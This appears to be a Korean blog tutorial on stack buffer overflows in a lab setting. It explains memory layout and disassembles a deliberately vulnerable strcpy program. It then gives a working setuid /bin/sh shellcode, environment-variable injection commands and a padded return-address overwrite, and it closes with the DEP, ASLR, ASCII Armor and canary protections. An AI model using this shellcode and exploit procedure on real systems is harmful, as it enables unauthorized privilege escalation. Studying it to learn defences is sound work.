Hacking/System Hacking

Stack Buffer Overflow(BOF) / BOF 보호 기법

나노콛 2019. 9. 27. 00:32

메모리 구조

1. 커널 영역
커널 공간은 프로세스에서 직접 접근할 수 없는 공간

2. Off Limit 영역
커널 영역에 접근하지 못하도록 할당 해둔 공간

3. 유저 영역
유저가 실제 사용하는 영역(스택/ 힙/ 코드 영역)

Null Pointer 영역
모두 0으로 되어있으며 변경이 불가능, 시스템 보호(에러 보고)를 위한 영역



[유저 영역]
프로그램을 동작하면 메모리에 프로그램이 동작하기 위한 메모리 공간이 생성되며,
상위 메모리는 stack 하위 메모리는 heap라는 메모리 공간이 형성

스택 영역(정적 할당)
매개변수, 반환 주소(RET), 지역변수 등의 데이터를 갖는 공간
함수가 종료되면 메모리 할당이 자동으로 해제됨
높은 주소에서 낮은 주소로 자람

공유 라이브러리 영역
프로그램 내부에서 사용하는 라이브러리 함수와 관련된 공유 라이브러리 파일이 적재되는 영역
스택과 힙 중간에 위치

힙 영역(동적할당)
메모리 주솟값에 의해서만 참조되며 메모리를 사용하기 위해서 malloc 함수로 할당하고 free 함수로 해제해야 함
낮은 주소에서 높은 주소로 자람

데이터 영역
-bss 초기화되지 않은 (전역, static) 변수들이 저장. 변수는 0으로 초기화 됨
-data 초기화된 전역변수, 상수, static 변수들이 저장되는 공간

코드영역
명령어들이 올라가는 메모리 영역으로 프로세스에서 접근할 수 없는 부분

#include <stdio.h>

int x = 1; //data

int main()
{
  int i; //stack
  int y; //stack
  static int k; //bss
  static int j=1; //data
  char *c; //stack
  c = malloc(10); //heap
  y = 2; //code
  return 0; //stack
}

stack

 

* 입력받은 값은 RET 방향으로 들어갑니다.


BOF

버퍼 오버플로는
버퍼보다 많은 값을 입력해
인접 메모리를 덮어쓰게 되는 취약점입니다.

RET에 shellcode가 들어가게 되면 공격자가 원하는 프로그램이 동작 되게 할 수 있습니다.

[취약점 원인]
문자열 처리 함수에서 입력값에 대한 길이를 확인 하지 않음

[대응]
입력 값 길이 검증이 필요함


 

bof.c

#include <stdio.h>
int main(int argc, char* argv[])
{
        char buffer[512];
        strcpy(buffer,argv[1]);
        printf("%s\n",buffer);
        return 0;
}

컴파일/ 실행 확인

 

gdb 분석

 

 

push ebp / mov ebp, esp

 

 

stack

 

sub esp, 0x208

 

 

stack

 

buffer[512]로 만들었지만 0x208만큼 할당되었습니다.
컴파일러마다 다를 수 있기 때문에 확인해 줘야 합니다.
16진수 208은 520입니다.

esp의 끝자리를 0으로 맞추는 작업
eax에 0을 넣고
esp에 다시 0을 넣는 작업

컴파일러가 하는 작업이며 다른 변화는 없습니다.
코드에 영향을 미치지 않는 컴파일러가 하는 작업입니다.

sub esp, 0x8

 

stack

 

mov eax, [ebp+12]

 

stack

 

ebp+12는 입력받는 값이 담기는 argv
EAX = argv

add eax, 0x4

 

EAX= argv[0] + 4  -> argv[1]
실행파일이 argv[0]에 담기기 때문
./bof 1234 했다면  argv[1]의 값은 1234

push eax

 

stack

 

lea eax,[ebp-520]

 

EAX = buffer 주소

bush eax

 

stack

 

call strcpy


 

buffer의 공간이 520 공간인데
524의 문자를 입력하면 이전 EBP 자리를 넘어오게 됩니다.
524문자 입력 이후에 쉘코드 주소를 추가로 넣으면 함수가 종료되고 복귀하려고 RET를 참조하여
추가로 넣은 쉘코드 주소로 가게 돼 쉘이 실행이 됩니다.

BOF 공격 준비

1. 환경 변수 주소 구하기

env.c

 

#include <stdlib.h>

int main(int argc, char* argv[])
{
        char * addr;
        addr = getenv(argv[1]); //getenv 환경변수 주소 구하는 함수
        printf("located is %p\n",addr);
        return 0;
}

컴파일 / 실행 확인

 

2. 언어팩을 한글로 변경

언어를 한글로 변경하는 이유는
UTF-8사용시 영어는 1글자당 1바이트씩 사용하기 때문에
쉘코드 삽입시 값이 1바이트가 넘는 값이 있다면 원하는 대로 값이 들어가지 않기 때문에
2바이트 사용하는 한글로 변경을 해줘야 합니다.

export LANG="ko_KR.euckr"

 

환경 변수 설정/만드는 명령어 export

3. 환경 변수에 쉘코드 넣고 쉘코드가 있는 환경 변수 주소 획득
쉘코드는 이것을 이용하겠습니다.

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\xeb\x0f\x5e\x31\xc0\x50\x89\xe2\x56\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\xec\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

 

환경 변수 만들기

 

export (환경 변수로 사용할 이름)=`perl -e 'print "(쉘코드)";'`
perl을 사용하려면 ` `로 감싸줘야 합니다 (키보드 1번 키 왼쪽) print 명령어도 ' '로 싸줘야 합니다 (엔터키 왼쪽)
이렇게 환경 변수를 만들고

bof의 주소를 획득합니다.

쉘 코드가 들어있는 환경 변수 bof의 주소

 

그리고 bof 실행파일을 실행하면 됩니다.
권환이 변경되는 것을 확인하지 못하기 때문에 계정을 변경 후 다시 해보겠습니다.

4. 공격 시작
위의 방법을 토대로 실행해보겠습니다.

실행파일 bof는 setuid bit를 걸어 줍니다
chmod 4755 bof

다른 계정으로 변경합니다.
su - test


문자 셋 변경합니다.
export LANG="ko_KR.euckr"

쉘코드 환경 변수 만듭니다.
export bof=`perl -e 'print " ";'`

만든 환경 변수 주소를 획득합니다.
./env bof

A를 524번 입력하고 뒤에 쉘코드 주소를 넣으면 됩니다.

환경 변수 주소를 넣을 때는 리틀 엔디안으로 넣어야 합니다.

0xbfffff4d였으니까
\x4d\xff\xff\xbf 이렇게 넣어야 합니다.

A를 반복으로 524번 넣을 때는 "A"x524 하면 됩니다. x 다음에 반복할 숫자를 넣을 수 있습니다.


 

위의 BOF 취약점은 아주 기본적인 공격입니다.

bof 공격에 대한 보호 기법은 아래와 같습니다.

1. DEP(Data Execution Prevention)
메모리 영역에 write 및 exeute 권한을 동시에 부여하지 않는 기법
NX(Non-eXecutable) 또는 W^X(Write xor Execution)라고 부름

/proc/self/maps

 

proc - 프로세스
self - 현재 실행 중
maps - 매핑된 메모리 구조

stack 영역에 권한을 r-w만 된다거나 rw-가 되게
동시에 쓰기 권한과 읽기 권한을 부여하지 않게 하면 된다.


 

2. ASLR(Address Space Layout Randomization)
메모리 영역의 주소 공간 배치를 랜덤화하여 공격을 방해


3. ASCII Armor
공유 라이브러리 영역의 상위 주소에 0x00을 포함시키는 방법
RTL 공격을 대응 (00값으로 인자 전달이 안됨)


4. CANARY
Buffer와 RET 사이의 값 변조 모니터링 기법
CANARY의 값이 변조될 경우 경고 후 프로그램이 종료된다.

728x90